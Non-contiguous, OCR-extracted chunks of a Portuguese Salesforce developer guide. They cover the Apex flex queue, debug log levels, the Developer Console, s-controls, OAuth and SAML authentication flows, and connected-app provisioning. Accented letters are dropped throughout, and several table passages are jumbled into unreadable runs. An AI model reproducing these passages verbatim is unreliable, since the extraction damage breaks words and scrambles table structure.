326. i o 1 que corresponde ao trabalho que foi enviado primeiro poss vel alterar a posi o de um trabalho clicando em Reordenar e inserindo o n mero da nova posi o O trabalho movido para a posi o especificada a menos que o n mero da posi o seja maior que o n mero de trabalhos na fila Nesse caso o trabalho colocado no fim da fila Ao mover um trabalho todos os outros trabalhos na fila flex vel s o reordenados e renumerados conforme necess rio 7 Nota Na interface do usu rio do Salesforce o trabalho no topo da fila flex vel est na posi o 1 No entanto ao trabalhar com a fila flex vel programaticamente a primeira posi o na fila flex vel est no indice 0 Quando um sistema seleciona o pr ximo trabalho na fila flex vel do Apex para processamento o trabalho movido da fila flex vel para a fila de trabalhos em lote poss vel monitorar o trabalho movido na p gina Trabalhos do Apex clicando em Trabalhos do Apex Tamb m poss vel utilizar os m todos do Apex System FlexQueue para reordenar os trabalhos em lote na fila flex vel Para testar a fila flex vel use os m todos get FlexQueueOrder e enqueueBatchJobs numberOfJobs naclasse System Test CONSULTE TAMB M Classe FlexQueue no Apex Code Developer s Guide do Force com enqueueBatchJobs numberOfJobs no Apex Code Developer s Guide do Force com getFlexQueueOrder no Apex Code Developer s Guide do Force com Agendar Apex U
327. i INFO e aci INFO e aci INFO e aci INFOR INFOR e aci INFOR INFOR e aci INFOR INFOR e aci n RI n n R n INFORMA ES e acima INFORMA ES e acima INFORMA ES e acima INFORMA ES ma A ES ma MA ES ma MA ES ma A ES ma A ES ma A ES ma INFORMA ES na A ES Na A ES Na A ES Na RMA ES Na A ES Na A ES ima A ES ima Aprimorar o Salesforce com c digo Guia do usu rio Registros de depura o 288 Nome do evento Campos ou informa es registradas com o Categoria N vel evento registrada registrado WE TIME TRIGGER EntityName Id de NameField a ode Fluxo de INFORMA ES empo cont iner da a o de tempo e data hora da trabalho e acima avalia o WF TIME TRIGGERS BEGIN enhum Fluxo de INFORMA ES trabalho e acima CONSULTE TAMB M Filtragem do registro de depura o para classes do Apex e acionadores do Apex Pesquisando em um registro de depura o Para procurar texto em um registro de depura o use a janela da linha de comando do Console do desenvolvedor Antes de ser poss vel pesquisar necess rio executar as instru es do Apex para gerar o registro a partir da Janela da linha de comando 1 Para abrir a Janela da linha de comando clique em CTRL L 2 Execute o c digo do Apex para gerar um registro e Para inserir inst
328. iados Espa o de trabalho Um espa o de trabalho uma cole o de recursos representados por guias no painel principal do Console do desenvolvedor O visualizador ou o editor de detalhes mostrado em cada guia determinado pelo tipo de recurso aberto nela Por exemplo o c digo fonte aberto no Editor de c digo fonte os registros s o abertos no Inspetor de registros e assim por diante poss vel criar um espa o de trabalho para qualquer grupo de recursos usados juntos e assim manter seu trabalho organizado Por exemplo poss vel criar um espa o de trabalho para o c digo fonte e outro para registros de depura o alternando entre eles medida que voc programa e testa Consulte Espa os de trabalho do console do desenvolvedor Painel de registros testes e problemas O painel inferior no Console do desenvolvedor inclui uma cole o de guias teis e Aguia Logs Registros exibe os registros dispon veis e Aguia Tests Testes exibe os testes dispon veis e Aguia Checkpoints Pontos de verifica o exibe os pontos de verifica o dispon veis e Aguia Query Editor Editor de consulta permite executar uma consulta SOQL ou SOSL nos dados da sua organiza o e Aguia View State Estado de exibi o se ativada permite examinar o estado de exibi o de uma p gina do Visualforce e Aguia Progress Progresso exibe todas as solicita es ass ncronas em tempo real Para ver apenas as opera es em andamento
329. ial com guias Para implementar isso primeiro crie um s control chamado ApplicantHomePage com o conte do a ser exibido aos recrutadores Em seguida crie um s control do tipo HTML usando o seguinte c digo para implementar a l gica de substitui o condicional lt script type text javascript gt determine the user profile name var recruiter IF SProfile Name Recruiter true false when the profile is recruiter display a custom s control page if recruiter Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 130 window parent location href urlFor SSControl ApplicantHomePage else when the profile is not recruiter display the standard Accounts tab page window parent location href urlFor SAction Account Tab SObjectType Account null true lt script gt Por fim substitua a guia Contas para usar o s control HTML mostrado aqui Esse exemplo pressup e que exista um perfil Recrutador na organiza o Nota Campos de mesclagem Profile est o dispon veis apenas nas edi es Enterprise Unlimited Performance e Developer S Controls que incluem snippets Inclus o de snippets Inclua snippets em s controls personalizados para reutilizar o c digo comum O exemplo a seguir faz refer ncia a um snippet que fornece um cabe alho para uma p gina exibida em uma guia da Web O t tulo da p gina Meu t tulo Use a vari v
330. icar o n vel de informa es que s o inclu das nos registros de depura o configure sinalizadores de rastreamento e n veis de depura o Os n veis de depura o para as sinalizadores de rastreamento especificam o tipo e a quantidade de informa es registradas para diferentes eventos Ap s o registro inspecione os eventos de depura o em seus registros de depura o Um n vel de depura o um conjunto de n veis de registro para categorias de registro de depura o como Banco de dados Fluxo de trabalho Valida o etc Um sinalizador de rastreamento inclui um n vel de depura o um hor rio de in cio um hor rio de t rmino e um tipo de registro Os tipos de registro s o DEVELOPER LOG USER DEBUG e CLASS TRACING Ao abrir o Console do desenvolvedor um sinalizador de rastreamento DEVELOPER LOG definido para registrar suas atividades Os sinalizadores de rastreamento USER DEBUG causam o registro das atividades de um usu rio individual Os sinalizadores de rastreamento CLASS TRACING substituem os n veis de registro para classes e acionadores do Apex mas n o geram registros Ao usar o Console do desenvolvedor ou ao monitorar um registro de depura o voc poder especificar o n vel das informa es que ser o inclu das no registro Categoria do log O tipo de informa es registradas como informa es do Apex ou das regras de fluxo de trabalho N vel do lo
331. icativos conectados atribu dos de cada conjunto de permiss es Cuidado Se voc trocar de Todos os usu rios podem se autoautorizar para Usu rios aprovados pelo administrador est o pr autorizados qualquer usu rio atual do aplicativo perder seu acesso a menos que perten a a um conjunto de permiss es ou perfil especificado para o aplicativo Nota Seo perfil ou o conjunto de permiss es do usu rio tem a permiss o Usar qualquer cliente de API ativada a pol tica Os usu rios aprovados pelo administrador s o pr autorizados pode ser ignorada Essa permiss o do usu rio est dispon vel apenas se a permiss o de organiza o Apenas aplicativos aprovados pelo administrador est ativada A permiss o de usu rio Usar qualquer cliente de API permite que um usu rio que n o foi aprovado pelo administrador acesse e execute o aplicativo mesmo que as configura es do aplicativo conectado exijam que o usu rio seja aprovado pelo administrador e a permiss o de organiza o Apenas aplicativos aprovados pelo administrador esteja ativa Esse esquema de permiss o permite que usu rios espec ficos como prestadores de servi o de curto prazo acessem um aplicativo conectado temporariamente Relaxa o de IP designa as restri es de IP s quais os usu rios do aplicativo conectado est o sujeitos Os intervalos de IP funcionam com aplicativos conectados ativados por OAuth n o aplicativos conectados ativados por SAML Um
332. icita o que cont m os seguintes par metros de OAuth chave do consumidor oauth m todo de assinatura oauth deve ser HMAC SHAI assinatura oauth data e hora oauth nonce oauth Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 199 vers o oauth opcional deve ser 1 0 se inclu do retorno oauth deve ser uma das op es a seguir e O URL hospedado pelo consumidor por exemplo https www appirio com sfdc accounts access token ready html Observe que este URL usa https ou outro protocolo N o poss vel utilizar http e oob que significa fora de banda e Uma assinatura na pagina 200 criada de acordo com a especifica o do OAuth para HMAC SHA1 Depois que Salesforce recebe a solicita o o Salesforce e Valida a solicita o com sua pr pria c pia do segredo do consumidor e Gera uma resposta contendo ChaveDeSolicita o e SegredoDaChaveDesSolicita o no corpo HTTP como pares nome valor e Envia a resposta de volta ao consumidor Uma ChaveDeSolicita o v lida somente por 15 minutos mais tr s minutos para permitir as diferen as entre os rel gios das m quinas O consumidor direciona o usu rio a uma p gina de login do Salesforce conforme especificado na pr xima se o Autorizando o usu rio Depois que a solicita o do consumidor feita ao Salesforce o usu rio deve ser autenticado pelo Salesforce antes de o p
333. icos fora de sua loja de aplicativos Se o aplicativo m vel for privado especifique o local do arquivo Bin rio do aplicativo m vel Trata se de um aplicativo IPA para iOS e um arquivo APK para Android Somente para aplicativos iOS a Especifique o local do cone de aplicativo Trata se do cone exibido durante o download e a instala o do aplicativo em um dispositivo iOS b Especifique o identificador de conjunto iOS Nota No caso do iOS 7 e posteriores necess rio especificar o mesmo identificador de conjunto utilizado para desenvolver o aplicativo no XCode Do contr rio o usu rio final ver dois cones de aplicativo na instala o Se o aplicativo m vel conectado p blico e voc n o carregou o arquivo bin rio para o Salesforce insira o URL bin rio do aplicativo aqui Nota Se voc remover a integra o m vel a partir de uma nova vers o de um aplicativo conectado existente a integra o m vel n o estar mais inclu da em nenhuma vers o do aplicativo conectado Por exemplo imagine a publica o de um pacote contendo a vers o 1 0 do seu aplicativo conectado com integra o m vel Em seguida remova a integra o m vel do aplicativo embale o novamente e publique o como vers o 1 1 Se um cliente instalar o pacote anterior com a vers o 1 0 nesse ponto a vers o 1 0 do aplicativo conectado n o conter a integra o m vel O aplicativo conectado pode receber notifica es por push se
334. identificadas 74 excluindo um Aplicativo conectado 172 Executando o teste do Apex 292 294 296 298 executar an nimo 7 executar Apex 52 F Faixas de IP com Aplicativo conectado 172 Fila de trabalhos do Apex 63 64 Filtrando registros de depura o 274 Fluxo de trabalho visual configurando o comportamento de conclus o 85 Force com IDE 136 Force com Migration Tool 136 F rmulas vari veis globais 20 Fun o URLFOR 80 Fun es URLFOR 80 G gerenciando um Aplicativo conectado 177 Grade de Resultados da consulta 11 13 Guias Visualforce 73 IDE 49 Identidade SCIM e API REST 153 implementando altera es do c digo 299 Integra o fazendo download de um certificado de autentica o de cliente 135 fazendo download de WSDL 135 S controls 120 122 J janela de linha de comando 288 JavaScript 138 L Lightning Experience adicione componentes do Lightning 89 Visualforce 67 inha de comando 7 Links de a o modelos 140 og 7 288 og de depura o 7 288 og do sistema 7 288 Login unico fluxo de asser es de SAML 224 OAuth 224 ndice M Mash ups exemplos 126 Mensagem de erro notifica es de upgrade autom tico 186 Metadados personalizados acessando tipos e registros 247 API de metadados 246 Consulta 248 empacotando e instalando 248 249 mita es 244 limites 245 sobre 242 Modelos de grupo de links de a o editando 151 empacotando 153 excluindo 152 projeto 140 Modelos de
335. ience Dispon vel em Edi es Contact Manager Group Professional Enterprise Performance Unlimited e Developer PERMISS ES DO USU RIO Para criar e editar p ginas do Visualforce e Personalizar aplicativo EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Edi es Contact Manager Group Professional Enterprise Performance Unlimited e Developer Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 73 Voc tamb m pode usar campos de mesclagem ou outras fun es para personalizar o conte do de ajuda no nivel do objeto CONSULTE TAMB M Definindo p ginas do Visualforce Criando guias do Visualforce poss vel criar guias do Visualforce para que os usu rios tenham acesso as p ginas do Visualforce EDI ES do Salesforce Para criar uma guia do Visualforce Dispon vel em Salesforce Classic e Lightning 1 Em Configura o insira Guias na caixa Busca r pida e selecione Guias Experience 2 Clique em Novo na lista relacionada Guias do Visualforce Dispon vel em Edi es 3 Selecione a p gina do Visualforce Sa exibida na guia personalizada Se j n o tiver criado a Contact Manager Group p gina do Visualforce clique em Criar uma nova p gina agora Professional Enterprise 4 Insira um r tulo a ser exibido na guia Performance Unlimited e Developer 5 Clique no cone de pesquisa Estilo d
336. igatoriedade de atributos do campo s ser exibida uma mensagem de erro se o desenvolvedor do s control tiver escrito um c digo que verifique esses atributos Indireta usando os m todos do webService do Apex por meio da API Menos responsivo pois todas as chamadas para o API exigem uma viagem de ida e volta para o servidor e fica a cargo do desenvolvedor ajustar o desempenho Aprimorar o Salesforce com c digo P ginas do Visualforce Cont iner da p gina Nativo CONSULTE TAMB M Sobre s controls Visualforce Integra o de aplicativos com o Salesforce Vis o geral do visualizador de aplicativo de tela O Visualizador de aplicativo de tela uma ferramenta de desenvolvimento que permite ver como os aplicativos de tela ficar o antes de public los Para ver seu aplicativo de tela 1 Em Configura o insira Visualizador de aplicativo de tela nacaixa Busca r pida e selecione Visualizador de aplicativo de tela 2 Clique no aplicativo de tela no painel esquerdo Ele ir aparecer na estrutura Para obter mais informa es consulte o Force com Canvas Developer s Guide Guia do Desenvolvedor do Force com Canvas In cio r pido do Heroku O bot o In cio r pido do Heroku permite que voc comece criando um aplicativo no Heroku e um aplicativo de tela correspondente no Salesforce Os campos de In cio r pido do Heroku incluem o seguinte Campo Descri o odelo do Heroku usado para criar o aplicativo
337. ightning Apex Dicas SPermission Descri o Use Exemplo de regra de valida o Exemplo de fluxo Exemplos do Visualforce Dicas Profile Descri o Use Visualforce 29 Essa vari vel global s est dispon vel para p ginas do Visualforce Tipo de campo de mesclagem global a ser usado para fazer refer ncia a informa es sobre o acesso permiss o personalizada do usu rio atual Use os campos de mesclagem de permiss o para referenciar informa es sobre o acesso atual do usu rio a quaisquer permiss es personalizadas da sua organiza o 1 Selecione o tipo de dados Permission 2 Selecione um campo de mesclagem como Permission customPermissionName A regra de valida o a seguir referencia a permiss o personalizada changeAustinAccounts para o usu rio atual Essa regra assegura que apenas usu rios com a permiss o change AustinAccounts podem atualizar contas com a cidade de cobran a de Austin BillingCity Austin amp amp SPermission changeAustinAccounts Para permitir que apenas usu rios com a permiss o personalizada seeAustinAccounts continuem no fluxo crie uma f rmula de fluxo Booleano com a seguinte express o SPermission seeAustinAccounts Em seguida em um elemento Decis o use uma condi o para verificar se a f rmula retorna verdadeiro Para que um bloqueio de p gina apare a apenas para usu rios que tenham a permiss o personalizada seeExecutive
338. ima por padr o Se o Aprimorar o Salesforce com c digo Guia do usu rio Registros de depura o 285 Nome do evento Campos ou informa es registradas com o Categoria N vel evento registrada registrado usu rio definir o n vel de registro para O m todo de System Debug o evento ser registrado no n vel ent o VALIDATION ERROR Mensagem de erro Valida o INFORMA ES e acima VALIDATION FAIL Nenhum Valida o INFORMA ES e acima VALIDATION FORMULA Origem da f rmula e valores Valida o INFORMA ES e acima VALIDATION PASS enhum Valida o INFORMA ES e acima VALIDATION RULE ome da regra Valida o INFORMA ES e acima VARIABLE ASSIGNMENT mero da linha nome da vari vel uma C digo do MAIS representa o da string do valor da vari vel e o Apex CORRETO DE endere o da vari vel TODOS VARIABLE SCOPE BEGIN N mero da linha nome da vari vel tipo um valor C digo do OMAIS que indica se a vari vel pode ser referenciadae um Apex CORRETO DE valor que indica se a vari vel est tica TODOS VARIABLE SCOPE END Nenhum C digo do MAIS Apex CORRETO DE TODOS VF APEX CALL ome do elemento nome do m todo e tipo de C digo do INFORMA ES retorno Apex e acima VF DESERIALIZE VIEWSTATE BEGIN D do estado de exibi o Visualfo
339. ina tamb m ser o salvas Isso garante que medida que o Apex a API e os componentes dos pacotes gerenciados evoluem para as subsequentes vers es lan adas uma classe ou acionador ainda estar o ligados s vers es com comportamento espec fico e conhecido Vers o do pacote um n mero que identifica o conjunto de componentes carregados em um pacote O n mero da vers o tem o formato majorNumber minorNumber patchNumber por exemplo 2 1 3 Os n meros maiores e menores aumentam para um valor escolhido em toda vers o principal O patchNumber gerado e atualizado apenas para a vers o do patch Os editores podem usar as vers es do pacote para evolu rem os componentes nos pacotes gerenciados com suavidade lan ando vers es subsequentes do pacote sem romper as integra es existentes com clientes usando o pacote Para definir a vers o da API e do Apex do Salesforce para uma classe ou para um acionador 1 Edite ou a classe ou o acionador e em seguida clique em Configura es da vers o 2 Selecionea Vers o da API do Salesforce Essa tamb m a vers o do Apex associada classe ou ao acionador 3 Clique em Salvar Para configurar as configura es da vers o do pacote para uma classe ou para um acionador 1 Edite ou a classe ou o acionador e em seguida clique em Configura es da vers o 2 Selecione uma Vers o para cada pacote gerenciado mencionado pela classe ou pelo EDI ES Dispon vel em Salesforce Cl
340. inal da chave Auth 2 0 Useeste URL ao trocar uma asser o de SAML para uma chave de acesso a ser usada com a API Ao gerar asser es de SAML a serem usadas com o ponto final da chave o URL do destinat rio na asser o pode ser o valor do Ponto final da chave OAuth 2 0 ouo URL de login do Salesforce com Trocar uma asser o de SAML para uma chave de acesso Para trocar uma asser o de SAML para uma chave de acesso seu cliente deve obter ou gerar uma resposta de SAML v lida e PUBLICAR isso no ponto final da chave Cabe ao cliente determinar o m todo de obten o desta resposta Quando o cliente tem uma resposta v lida ele envia os seguintes par metros e tipo de concess o O valor deve ser asser o para este fluxo e declara o uma resposta de SAML com codifica o Base 64 e em seguida com codifica o do URL que normalmente seria usada para o login nico na Web e assertion type deveser urn oasis names tc SAML 2 0 profiles SSO browser com codifica o do URL e formato Formato de retorno esperado Esse par metro opcional O padr o j son Os valores s o urlencoded Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 225 json xml Este o corpo de um exemplo de POST fora de banda feito no https login salesforce com services oauth2 token grant type assertion amp assertion type urn 3A0asis 3Anames 3Atc S3ASAML 3A2 0 S3Aprofiles 3AS
341. inel do Editor de consulta do Console do desenvolvedor Recuperar planos de consulta Use a ferramenta Plano de consulta para otimizar e acelerar as consultas realizadas em grandes quantidades de registros Visualize planos de consulta para consultas SOQL pesquisas SOSL relat rios e exibi es de lista Se h indices personalizados dispon veis para a sua organiza o use planos de consulta para ajud lo a decidir quando solicitar um ndice personalizado do Suporte do Salesforce Grade de Resultados da consulta A grade Resultados da consulta exibe cada registro como uma linha poss vel criar atualizar e excluir registros sem sair do Console do desenvolvedor Em resultados de pesquisa SOSL com v rios objetos cada objeto exibido em uma guia separada CONSULTE TAMB M Usando o Console do desenvolvedor Executar uma consulta SOQL ou pesquisa SOSL Execute consultas SOQL ou pesquisas SOSL no painel do Editor de consulta do Console do desenvolvedor 1 2 Insira uma consulta SOQL ou pesquisa SOSL no painel do Editor de consulta Se voc desejar consultar entidades do conjunto de ferramentas em vez das entidades de dados selecione Use Tooling API Usar API do conjunto de ferramentas Clique em Execute Executar Se a consulta gerar erros eles ser o exibidos na parte inferior do painel do Editor de consulta Os resultados s o exibidos na grade Resultados da consulta no espa o de trabalho do Console do desenvolvedor
342. insira Configura es de bate papo nacaixa Busca r pida e selecione Configura es de bate papo Dispon vel em Salesforce 2 Clique em Editar Classic Dispon vel em Edi es Group Professional Enterprise Performance 4 Clique em Salvar Unlimited Contact Manager e Developer 3 Em Configura o do Visualforce selecione Permitir Desmarque para desativar o bate papo em p ginas personalizadas do Visualforce Para impedir que o widget de bate papo seja exibido em uma p gina espec fica do Visualforce fa a o seguinte f Ei e PERMISS ES DO e Desative o cabe alho da guia Salesforce em sua p gina definindo lt apex page E USUARIO showHeader false gt e Definao contentType da p gina como algo diferente de text html por exemplo Para ativar o bate papo nas lt apex page contentType text plain gt p ginas personalizadas do Visualforce e Personalizar aplicativo Aprimorar o Salesforce com c digo Componentes do Lightning Vis o geral da estrutura de componente do Lightning beta A estrutura de Componente do Lightning uma estrutura de UI para criar aplicativos da web din micos para dispositivos m veis e desktops uma estrutura moderna para criar aplicativos de p gina nica projetados para crescimento Nota Componentes do Lightning em aplicativos independentes recursos app est o dispon veis de forma geral A integra o de componentes do Lightning ao Salesforce1 es
343. inutos depois que a execu o conclu da Use a p gina Resultados de teste do Apex para ver todos os resultados de teste de sua organiza o Em Configura o insira Apex na caixa Busca r pida selecione Execu o de teste do Apex e clique em Exibir hist rico de teste Use o Console do desenvolvedor para ver informa es adicionais sobre a execu o de teste 1 Abrao Console do desenvolvedor 2 Execute seus testes usando a p gina Execu o de teste do Apex 3 Marque o Console do desenvolvedor para percorrer a solicita o Desativando a execu o paralela de testes Os testes que s o iniciados na interface do usu rio do Salesforce incluindo o Console do desenvolvedor s o executados em paralelo A execu o de testes em paralelo pode acelerar o tempo de execu o do teste As vezes a execu o de testes em paralelo resulta em problemas de conten o de dados Nesses casos poss vel desativ la Especificamente podem ocorrer problemas de conten o de dados e erros UNABLE TO LOCK ROW nos casos a seguir e Quando os testes atualizam os mesmos registros ao mesmo tempo Geralmente a atualiza o dos mesmos registros ocorre apenas quando os testes n o criam seus pr prios dados e desligam o isolamento de dados para acessar os dados da organiza o e Quando ocorre um impasse nos testes que est o sendo executados em paralelo e h a tentativa de criar registros com valores duplicados no campo de ndice Os dado
344. ir para Ana1i sado a menos que o processo ativo falhe nesse caso O Estado muda para Com falha Se voc clicar no valor do campo Conta em Provisionamento de usu rios ver detalhes sobre a conta de usu rio Os campos a seguir t m campos da lista de op es que descrevem o estado atual da conta de usu rio Status O status da conta no sistema de destino Os valores v lidos s o e Ativo e Desativado e Exclu do Estado da vincula o O estado da conex o atual entre a conta de usu rio na organiza o do Salesforce e a conta de usu rio associada no sistema de destino Os valores v lidos s o e vinculado as altera es na conta na organiza o do Salesforce est o enfileiradas para serem atualizadas na conta de usu rio associada no sistema de destino e duplicado existe uma conta associada no sistema de destino e rf o n o h nenhuma conta associada no sistema de destino e ignorado as altera es na conta na organiza o do Salesforce n o t m efeito sobre a conta de usu rio associada no sistema de destino Para editar esses valores utilize a se o Contas de usu rio na p gina de detalhes de um aplicativo conectado Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 194 A se o Contas de usu rio da p gina de detalhes de um aplicativo conectado A se o Contas de usu rio na p gina de detalhes de um aplicativo conectado li
345. ispositivos m veis Android Para ver aplicativos de tela no menu de navega o no Android fa a login no aplicativo de navegador m vel Salesforce1 e CTlaberta O aplicativo de tela aparece na ferramenta de controle de chamadas Se essa op o for selecionada ser preciso especificar o aplicativo de tela no arquivo de defini o de seu centro de atendimento para que ele apare a e Editor O aplicativo de tela aparece no editor Se essa op o selecionada tamb m necess rio criar uma a o r pida personalizada de tela e adicion la ao layout global ou a um layout de objeto e P gina do Visualforce O aplicativo de tela pode ser exibido em uma p gina do Visualforce Se voc adicionar um componente lt apex canvasApp gt para expor um aplicativo de tela em uma p gina do Visualforce certifique se de selecionar esse local para o aplicativo de tela Caso contr rio voc receber um erro 6 Selecione Criar a es automaticamente afim de criar uma a o global para seu aplicativo de tela Para criar uma a o global para o aplicativo de tela selecione Editor em Local Caso contr rio n o ser o criadas a es globais Tamb m poss vel criar a a o manualmente mais tarde 7 Sevoc implementou sua pr pria classe Apex Canvas CanvasLifecycleHandler forne a o seunomeem Classe do ciclo de vida Ofornecimento de uma classe do Apex CanvasLifecycleHandler permite personalizar as informa es de contexto e
346. issued at 1278448101416 amp signature CMJ41 2BCCaPQikKjoOEwEig9H4wahpuLSk4J2urAeS2BfVg 3D Se ocorrer um problema durante esta etapa a resposta conter uma mensagem de erro com estas partes e erro C digo do erro e descri o do erro Descri o do erro com informa es adicionais tipo de resposta n o suportado tipo de resposta n o suportado id do cliente inv lido identificador do cliente inv lido solicita o inv lida HTTPS necess rio solicita o inv lida deve usar HTTP POST credenciais do cliente inv lidas segredo do cliente inv lido solicita o inv lida tipo de segredo n o suportado concess o inv lida chave de acesso atualiza o expirada concess o inv lida lP restrito ou horas de login inv lido usu rio inativo o usu rio est inativo org _inativa a organiza o est bloqueada fechada ou suspensa taxa limite excedida numero de logins excedidos invalid scope o escopo solicitado inv lido desconhecido ou mal formado A seguir um exemplo de erro de resposta f error invalid client credentials error description client secret invalid CONSULTE TAMB M Autenticando aplicativos com o OAuth Fluxo de autentica o do servidor Web OAuth 2 0 O fluxo de autentica o do servidor Web usado por aplicativos que s o armazenados em um servidor seguro Um aspecto cr tico do fluxo do servidor da Web que o servidor deve conseguir proteger o seg
347. ista BBS Tests Checkpoints Query Editor Progress Problems User Application Operation Time Status Read Size JS Browser uifcommon apex debu 04 09 13 38 46 Success 39132 Filter Click here to filter the log list e Para abrir um registro selecionado no Inspetor de registro clique em File Arquivo gt Open Log Abrir registro ou clique duas vezes no registro na guia Logs Registros Use o Inspetor de registro para analisar um registro de depura o avaliar o c digo do Apex rastrear DML monitorar o desempenho etc e Para abrir um registro selecionado em um editor de texto clique em File Arquivo gt Open Raw Log Abrir registro original e Para filtrar os registros vis veis clique em Filter Filtrar e digite o texto que deseja incluir na lista Por exemplo se quiser ver os registros de depura o de determinado usu rio digite o nome dele O filtro diferencia mai sculas de min sculas e Para remover todos os registros da lista clique em Debug Depurar gt Clear Limpar gt Log Panel Painel de registro e Por padr o a guia Logs Registros exibe somente novos registros gerados pelo usu rio atual Para ver todos os registros de depura o salvos para a sua organiza o incluindo registros rec m gerados criados por outros usu rios clique em Depurar e desmarque Exibir apenas meus registros atuais e Para ocultar automaticamente todos os registros existentes na pr xima vez em que a p gina for atu
348. ista filtrada de itens selecione uma lista predefinida na lista suspensa Exibir ou clique em Criar novo modo de exibi o para definir seus pr prios modos de visualiza o personalizados muito til quando voc quer exibir apenas os m todos futuros ou os trabalhos em lote do Apex Somente um lote do trabalho do Apex com m todo start pode ser executado ao mesmo tempo em uma organiza o Os trabalhos em lote que ainda n o foram iniciados permanecem na fila trabalho em lote e os m todos execute de trabalhos em sendo executado trabalho Todos os trabalhos em lotes que tiverem conclu do a execu CONSULTE TAMB M Agendar Apex Monitoramento da fila flex vel do Apex at serem iniciados Observe que esse limite n o causa falhas em nenhum lote Apex ainda s o executados em paralelo caso haja mais de um trabalho Para qualquer tipo de trabalho do Apex voc pode clicar em Anular trabalho na coluna A o para interromper o processamento do o ser o removidos da lista da fila de lotes sete dias ap s a conclus o Para obter mais informa es sobre o Apex consulte o Force com Apex Code Developer s Guide Use a p gina Fila flex vel do Apex para exibir e reordenar todos os trabalhos em lote com status EDI ES Espera Como op o reordene seus trabalhos em lote prog ramaticamente usando o Apex code poss vel colocar at 100 trabalhos em lote em um status em espera para execu o futura Quando Dis
349. istrado pelo desenvolvedor 5 O ponto final do token valida o P blico Emissor Sujeito ea validade da declara o 6 Supondo que a declara o seja v lida e que o aplicativo tenha sido autorizado anteriormente pelo usu rio ou administrador o Salesforce emite um access token Nota Um refresh_token n o emitido nesse fluxo Criando uma declara o portadora SAML O desenvolvedor deve criar uma declara o portadora SAML v lida que cumpra as seguintes regras e O Emissor devesero client id do OAuth ou aplicativo conectado para o qual o desenvolvedor registrou o certificado e O P blico deveser https login salesforce comou https test salesforce com e O Destinat rio deveser https login salesforce com services oauth2 token ou https test salesforce com services oauth2 token e OID do nome do sujeito deve sero nome de usu rio do usu rio do Salesforce desejado e A declara o dever ser assinada de acordo com as especifica es de assinatura XML usando RSA e SHA 1 ou SHA 256 e A declara o SAML deve estar de acordo com as regras gerais de formato especificadas aqui http tools ietf org html draft ietf oauth saml2 bearer Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 204 e Quando realizado o POST para o ponto final do token a declara o deve ser codificada usando base64url como definido aqui http tools ietf org html rfc4648 page 7
350. ita es desse usu rio Para aprender a configurar registros de depura o baseados no usu rio consulte Monitorar registros de depura o 5 Seo ponto de entrada definir um n vel de log esse n vel ser usado Por exemplo as solicita es do Visualforce podem incluir um par metro de depura o que define n veis de log Se nenhum desses casos for aplic vel n o ser o gerados nem armazenados logs CONSULTE TAMB M Guia Registros N veis de registro de depura o https developer salesforce com docs atlas en us api tooling meta api tooling https developer salesforce com docs atlas en us apexcode meta apexcode N veis de registro de depura o PERMISS ES DO USU RIO EDI ES Para usar o console do desenvolvedor Exibir todos os dados Dispon vel em Salesforce p i is Abek Apex do autor Classic e Lightning ara executar an nimo no Apex pex do autor Experience Para usar a pesquisa de c digo e executar API ativada i Dispon vel em Enterprise SOQL ou SOSL na guia de consulta Performance Unlimited Para salvar as altera es s classes de Apex do autor Developer e Database com Apex e acionadores Editions Para salvar as altera es nas p ginas do Personalizar aplicativo Visualforce e componentes Aprimorar o Salesforce com c digo Guia do usu rio Registros de depura o 275 Para salvar as altera es nos recursos do Lightning Personalizar aplicativo Para especif
351. itar Na se o Configura es de provisionamento de usu rios selecione Ativar provisionamento de usu rios a oe eM Clique em Salvar Depois que voc clica em Salvar o Salesforce faz com que voc retorne a pagina de detalhes do Aplicativo conectado Para chegar a pagina Detalhes do aplicativo conectado em Configura o insira Aplicativos conectados nacaixa Busca r pida selecione a op o de gerenciamento de aplicativos conectados e clique no nome do aplicativo conectado 6 Nase o Configura es de provisionamento de usu rios clique em Iniciar Assistente de provisionamento de usu rios para iniciar o assistente Depois que o Assistente de provisionamento de usu rios conclu do voc pode voltar p gina de detalhes do Aplicativo conectado em Configura o insira Aplicativos conectados nacaixa Busca r pida selecione a op o para gerenciamento de aplicativos conectados e clique no nome do aplicativo conectado para editar as informa es de conta de usu rios individuais em atualiza es r pidas Cada usu rio listado na p gina de detalhes do Aplicativo conectado na se o Contas de usu rio Tamb m poss vel executar o assistente novamente para coletar e analisar as contas no sistema de terceiros alterar a configura o e processar todas as contas Se voc tiver adicionado um processo de aprova o durante a execu o do Assistente de provisionamento de usu rios o campo Processo de aprova o
352. itar p gina para seguir diretamente para o registro no Salesforce Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 14 e Para criar um registro clique em Insert Row Inserir linha Insira as informa es e clique em Save Rows Salvar linhas Nota Para inserir uma linha os resultados da consulta devem conter todos os campos obrigat rios do objeto Os campos obrigat rios devem ser de texto simples ou num ricos Se essas condi es n o forem atendidas uma linha em branco ser criada mas n o ser poss vel salv la Nesse caso clique em Create New Criar novo para criar um registro no Salesforce e Para editar um registro na grade Resultados da consulta clique duas vezes na linha Fa a as suas altera es e clique em Save Rows Salvar linhas e Para excluir um registro selecione a linha relacionada e clique em Delete Row Excluir linha CONSULTE TAMB M Editor de consulta Executar uma consulta SOQL ou pesquisa SOSL Recuperar planos de consulta Componentes do Lightning Apex Visualforce Trabalhando com c digo Esta se o cont m informa es sobre as ferramentas e t cnicas que podem ser usadas ao fazer altera es na sua organiza o por meio de c digo e Usando o editor para Visualforce e Editor de c digo fonte e Inspetor de objeto e No es b sicas sobre vari veis globais e Valores v lidos para a vari vel global SAction e Vis o geral do
